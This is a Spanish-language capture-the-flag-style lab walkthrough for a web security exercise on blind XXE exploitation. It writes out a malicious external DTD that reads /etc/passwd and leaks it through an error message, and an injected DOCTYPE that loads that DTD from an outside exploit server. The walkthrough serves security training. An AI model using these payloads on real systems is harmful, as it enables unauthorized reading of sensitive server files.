
Descripción
This lab has a «Check stock» feature that parses XML input but does not display the result.
To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd
file.
The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.
Exploiting blind XXE to retrieve data via error messages writeup
Al entrar vemos una tienda online. Entramos en un producto con ‘View details’ y capturamos la petición con el ‘Logger’ de Burp Suite:

Al igual que en el laboratorio anterior, Exploiting blind XXE to exfiltrate data using a malicious external DTD, si intentamos acceder a una variable en el cuerpo XML nos devolverá el siguiente error:
"Entities are not allowed for security reasons"
Acudiremos al ‘Exploit server’ para manejar las entidades. Usaremos el siguiente código:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///archivo_que_no_existe/%file;'>">
%eval;
%exfil;
Al llamar a ‘archivo_que_no_existe’, lanzaremos el error que, según la descripción del laboratorio, nos mostrará la información.
Pulsaremos ‘Store’ y, en la petición, llamaremos a este servidor, que sí puede manejar entidades:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ac7004104ab1445809d7fec019f0047.exploit-server.net/exploit"> %xxe;]>
Al enviarlo nos devolverá un error, pero con el contenido del archivo. Si no se hubiera producido el error, no se nos mostraría:

Completaremos así el laboratorio:
